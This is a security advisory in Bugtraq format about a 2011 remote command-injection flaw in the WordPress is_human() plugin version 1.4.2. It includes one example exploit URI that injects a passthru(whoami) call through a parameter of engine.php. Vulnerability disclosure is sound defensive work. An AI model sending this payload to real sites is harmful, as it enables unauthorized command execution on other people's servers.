Wordpress is_human() Plugin Remote Command Injection Vulnerability

Bugtraq ID:	47883
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 17 2011 12:00AM
Updated:	May 17 2011 12:00AM
Credit:	neworder
Vulnerable:	WordPress is_human() Plugin 1.4.2
Not Vulnerable:

Wordpress is_human() Plugin Remote Command Injection Vulnerability

The 'is_human()' plugin for Wordpress is prone to a remote command-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary commands in the context of the application.

is_human() versions 1.4.2 and prior are vulnerable.

Wordpress is_human() Plugin Remote Command Injection Vulnerability

Attackers can exploit this issue using readily available tools.

The following example URI is available:

http://www.example.com/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();passthru(whoami);error

Wordpress is_human() Plugin Remote Command Injection Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].

Wordpress is_human() Plugin Remote Command Injection Vulnerability

References:

• Plugin Homepage (WordPress)